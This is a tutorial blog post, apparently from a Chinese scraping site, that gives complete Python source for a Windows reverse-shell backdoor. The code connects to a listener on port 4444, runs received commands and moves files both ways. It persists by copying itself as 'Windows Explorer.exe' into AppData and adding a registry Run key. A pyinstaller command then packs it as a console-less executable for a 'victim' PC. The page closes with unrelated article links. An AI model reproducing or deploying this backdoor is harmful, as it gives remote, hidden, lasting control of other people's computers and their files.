Python Ethical Hacking - Persistence(2)
Polish the Python code by adding the become_persistent function.
#!/usr/bin/env python
import json
import socket
import subprocess
import os
import base64
import sys
import shutil class Backdoor:
def __init__(self, ip, port):
self.become_persistent()
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port)) def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True) def reliable_send(self, data):
json_data = json.dumps(data).encode()
self.connection.send(json_data) def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024).decode()
return json.loads(json_data)
except ValueError:
continue def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path def execute_system_command(self, command):
DEVNULL = open(os.devnull, "wb")
return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL) def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read()) def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Upload successful." def run(self):
while True:
command = self.reliable_receive() try:
if command[0] == "exit":
self.connection.close()
sys.exit()
elif command[0] == "cd" and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == "upload":
command_result = self.write_file(command[1], command[2])
elif command[0] == "download":
command_result = self.read_file(command[1]).decode()
else:
command_result = self.execute_system_command(command).decode()
except Exception:
command_result = "[-] Error during command execution." self.reliable_send(command_result) try:
my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()
except Exception:
sys.exit()
Convert to Windows executable file.
wine /root/.wine/drive_c/Program\ Files\ \(x86\)/Python37-/Scripts/pyinstaller.exe reverse_backdoor.py --onefile --noconsole

Execute the reverse_backdoor file on the victim Windows 10 PC.



Restarted the victim Windows PC and the communication established automatically.

Python Ethical Hacking - Persistence(2)的更多相关文章
- Python Ethical Hacking - Persistence(1)
		PRESISTENCE Persistence programs start when the system starts. Backdoors -> maintain our access. ... 
- Python Ethical Hacking - BACKDOORS(8)
		Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ... 
- Python Ethical Hacking - BACKDOORS(1)
		REVERSE_BACKDOOR Access file system. Execute system commands. Download files. Upload files. Persiste ... 
- Python Ethical Hacking - Malware Analysis(1)
		WRITING MALWARE Download file. Execute Code. Send Report. Download & Execute. Execute & Repo ... 
- Python Ethical Hacking - ARP Spoofing
		Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ... 
- Python Ethical Hacking - NETWORK_SCANNER(2)
		DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ... 
- Python Ethical Hacking - NETWORK_SCANNER(1)
		NETWORK_SCANNER Discover all devices on the network. Display their IP address. Display their MAC add ... 
- Python Ethical Hacking - MAC Address & How to Change(3)
		SIMPLE ALGORITHM Goal -> Check if MAC address was changed. Steps: 1. Execute and read ifconfig. ... 
- Python Ethical Hacking - MAC Address & How to Change(2)
		FUNCTIONS Set of instructions to carry out a task. Can take input, and return a result. Make the cod ... 
随机推荐
- Java学习笔记6(集合类)
			集合类 集合按照其存储结构可以分为两大类,即单列集合Collection和双列集合Map. Collection:单列集合类的根接口,用于存储一系列符合某种规则的元素,有List和Set两个重要子接口 ... 
- JavaWeb的登陆与注销功能
			JavaWeb 登录与注销 大致流程 一般我们在Web应用中 登录页面一般是以 login.jsp的首页 大致流程如下: 当我们在前台写入用户名和密码之后,点击登录按钮 会将表单提交给一个LoginS ... 
- 微信小程序-返回并更新上一页面的数据
			小程序开发过程中经常有这种需求,需要把当前页面数据传递给上一个页面,但是wx.navigateBack()无法传递数据. 一般的办法是把当前页面数据放入本地缓存,上一个页面再从缓存中取出. 除此之外还 ... 
- 工业4.0:换热站最酷设计—— Web SCADA 工业组态软件界面
			前言 随着工业4.0的不断普及与发展,以及国民经济的飞速前进,我国的城市集中供热规模也不断扩大,科学的管理热力管网具有非常重大的经济和社会效益.目前热力系统,如换热站大都采用人工监控,人工监控不仅浪费 ... 
- JavaWeb网上图书商城完整项目--过滤器解决中文乱码
			我们知道,如果是POST请求,我们需要调用request.setCharacterEncoding(“utf-8”)方法来设计编码:如果是GET请求,我们需要自己手动来处理编码问题.如果我们使用了En ... 
- vue多个项目公共化组件方案
			前言 最近项目需求,需要把两个vue项目多个一样的模块抽成公共化.考虑采用的方案 1.把公共部分独立出来一个项目,npm发布私有包,使用的项目npm install下载(目前下载使用出现配置错误) 存 ... 
- 入门大数据---基于Zookeeper搭建Kafka高可用集群
			一.Zookeeper集群搭建 为保证集群高可用,Zookeeper 集群的节点数最好是奇数,最少有三个节点,所以这里搭建一个三个节点的集群. 1.1 下载 & 解压 下载对应版本 Zooke ... 
- vue全家桶(4.2)
			5.2.使用vuex重构上面代码 Vuex是什么?官方定义:Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式.它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测 ... 
- WTL中GDI+支持资源文件加载
			WTL中GDI+支持资源文件加载 分类: WTL WTL gdi+ gdi+2013-04-22 17:16 78人阅读 评论(0) 收藏 举报 WTLGDI+c++ 今天遇到一个小问题困扰了.就是G ... 
- could not resolve property(无法解析属性)
			could not resolve property(无法解析属性) 顾名思义在写hql语句的时候,属性写错了! 请检查大小写,是实体类的,不是数据库表的! 一个一个检查,仔细看! 
